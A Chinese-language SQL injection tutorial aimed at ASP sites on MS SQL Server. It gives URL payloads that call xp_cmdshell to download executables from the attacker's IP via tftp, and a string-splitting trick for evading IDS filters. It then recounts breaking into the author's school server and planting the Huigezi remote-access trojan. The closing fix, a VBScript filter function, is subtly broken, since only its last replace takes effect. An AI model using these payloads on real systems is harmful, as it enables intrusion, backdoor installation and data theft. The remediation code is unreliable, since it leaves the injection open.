SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。
isno的《SQL injection攻击技术》是一篇不可多得的好文章,大家可以看看,但是程序毕竟是各种各样的,有些可以通过修改URL数据来提交命令或语句,有些则不行,不能打URL的主意,怎么办呢?通过修改<input>标签内的value的值也可以提交我们构造的语句,SQL injection是很灵活的技术,但我们的目的只有一个,就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。
检测漏洞
在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号,比如:
http://localhost/show.asp?id=1'
http://localhost/show.asp?id=1;
……
通过页面返回的信息,判断是否存在SQL injection漏洞,只是最简单的通过字符过滤来判断,根据IIS配置不同,返回的信息是不定的,有时显示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/register/lostpass2.asp,行15
有时可能会显示“HTTP 500 - 内部服务器错误”,也可能显示原来的页面,也就是页面正常显示,更可能提示“HTTP 404 – 找不到该页”,判断是否有漏洞就要有个最基本的根据——经验,原来我刚开始学习的时候认为我们学校没有这个漏洞,但小叮当告诉我,返回的信息仅仅是个根据,更重要的是经验,结果我们学校就在2小时内被他利用SQL injection漏洞进入了,还开了一个telnet服务……
如果能拿到源代码就更好了,可以通过分析源代码来发现ASP文件的问题,不过这要求有较高的编程功底,最近PsKey就发现了不少程序存在SQL injection漏洞。真是个厉害角色。
提交数据
我们判断出一个ASP程序存在SQL injection漏洞以后就要构造我们的语句来对服务器进行操作了,一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程,xp_cmdshell是一个非常有用的扩展存储过程,用于执行系统命令,比如dir,我们可以根据程序的不同,提交不同的语句,下例语句仅仅是个参考,告诉大家这个原理,实际情况视程序而定,照搬不一定成功,下同。
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--
正如前面所说,提交这样的信息浏览器会返回出错信息或500错误,我们怎么才能知道执行是否成功呢?isno的办法是用nc监听本机端口,然后提交nslookup命令来查询,我个人觉得有些麻烦,直接用tftp来有多种好处,能知道命令是否成功执行;能获得SQL服务器的IP从而判断SQL服务器的位置;还能节省一些步骤直接上传文件到SQL服务器。利用xp_cmdshell扩展存储过程执行tftp命令,在玩unicode漏洞的时候大家就炉火纯青了吧?列如:
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'--
有时提交的数据并不一定起作用,看你怎么绕过程序的检测了,如果幸运成功的话,可以看到tftp软件的窗口出现从本机下载文件的信息了。
对话框中的IP地址就是SQL服务器的IP,可以根据这个IP判断SQL服务器处于什么位置,和web服务器一起,在局域网内,还是单独的服务器,就自己判断了,此知识点不在本文讨论范围内,就此略过。命令执行成功以后,就可以替换单引号中的内容,添加用户、提升权限做什么都随便大家了,不过要看看连接SQL服务器的这个角色是什么组的了。
饶过程序/IDS检测
大多数时候,情况并非我们想象的那么顺利,明明字符过滤不完善,但程序或IDS检测到用户提交某个扩展存储过程或系统命令,就自动转换或拆分字符,让我们提交的数据分家或改变导致失效,怎么办呢?我记得我为了弄清如何饶过IDS检测,花了两节课的时间来思考,还写写画画浪费了半本笔记本,又经过小叮当的提示,就产生一个思路:拆分命令字符串,赋值给变量,然后把变量组合起来提交,这样就不会分家了,下面给出两个例子:
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
有时候并不需要这样,只要把某些字符换ASCII代码,同样也可以成功执行,这个我还没有条件试,如果哪位高人有这方面的研究,请赐教。
实战
我们学校的站点做得不错,上次发表了《由学校校园网看网络安全现况》以后,学校的安全性各方面都有些提高,监控程序接近变态,为什么这样说呢?添加了几十个守护进程,动不动就死机、蓝屏,不过我又破了,包括最令学校自豪的硬盘保护卡。(有人要问我为什么都拿自己学校开刀?因为作为一个安全技术爱好者连自己的学校/公司都搞不定还怎么混啊?而且可以间接提醒一下管理员,因为我们学校的管理员对安全性不是很在乎)可见安全没有绝对的,当然也不可能十全十美,尽管用扫描器找不到任何漏洞,但利用SQL injection漏洞却可以轻易攻破,看看整个站点,没有任何URL参数,文章是静态的页面,只有一个注册系统和动网论坛,动网论坛是SQL版的,自己修改过,所以比较安全,最新的漏洞没有。由于学校有条件,所以全站是基于ASP+SQL,为我们利用SQL injection漏洞打下基础,注册系统有个忘记密码功能,文件是lostpass.asp,提交用户以后转到lostpass1.asp,提交单引号和分号都提示错误,看来是没有过滤好,于是我提交以下命令:
exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
exec master..xp_cmdshell 'tftp –i youip get file.exe'--
xp_cmdshell 'tftp –i youip get file.exe';--
……
执行了N条指令(N>50),都不见效,算了,先放弃,再看看还有什么文件可以利用,不久发现shownews.asp这个文件,通常可以执行系统命令的都是这类显示文章、资料等等文件,我想学校的开发人员的安全意识应该还没有那么强,所以着实开心了一阵,马上试试:
http://ourschool/shownews.asp?newsid=1;
http://ourschool/shownews.asp?newsid=1'
呵呵,返回“HTTP 500 - 内部服务器错误”凭经验漏洞存在,OK,马上输入:
http://ourschool/shownews.asp?newsid=1'exec master..xp_cmdshell 'tftp -i myip get flash.exe';--
http://ourschool/shownews.asp?newsid=1;exec master..xp_cmdshell 'tftp -i myip get flash.exe;--
……
http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--
试到这句的时候,终于发现tftp软件的窗口有提示了,大家可以参考前面的那个截图,我们已经成功了,我的经验告诉我,连接SQL数据库的角色是Sysadmin组的,因为我们学校是独立的服务器,所以权限应该很高,我们可以执行任意命令,只要替换http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--这句单引号里的命令即可,为了快点结束战斗,我还是传了个灰鸽子上去,刚才传的flash.exe就是客户端:)事后证明,连接数据库的果然是sa,善后工作就不写了,反正大家都知道。
整个过程看起来很简单,执行一些语句就可以了,其实提交数据的时候,由于我事先没有看过shownews.asp的代码(后来我看了),提交了不下20次无效的语句,走了不少弯路,不过对SQL Injection的高手来说这些都是一些皮毛,这篇文章只不过是有个引导作用罢了。
解决办法
事后分析了一下(多谢PsKey的指导)shownews.asp,发现有这个文件完全没有做任何过滤,里面有这么一句:
rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1
可以直接构造 newsid 发动sql injection攻击,针对这个文件的解决办法就是用replace函数过滤,看看下面的一个函数:
<%
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","")
checkStr=replace(str,";","")
checkStr=replace(str,"--","")
end function
%>
需要从根本上解决解决SQL Injection问题。还得从程序本身入手。过滤不能单纯的过滤URL所提交的参数,在表单里的也要过滤,value=后面的可以修改的数据,修改后可以提交到服务器,总之对所有的表单提交的数据以及用户可能对HTML源文件进行修改来控制的所有来自Web服务器外部的数据进行过滤或转换,(我不擅于表达,此话改自isno的一句话,谢谢isno)对单引号、双引号、分号“--”还有对数字键上面的所有特殊字符进行过滤,还有QUERY_STRING环境变量。在服务器上删除一些危险的扩展存储过程,比如xp_cmdshell。有条件装个IDS更好,不敢说无坚不摧,但至少可以阻挡大部分攻击者。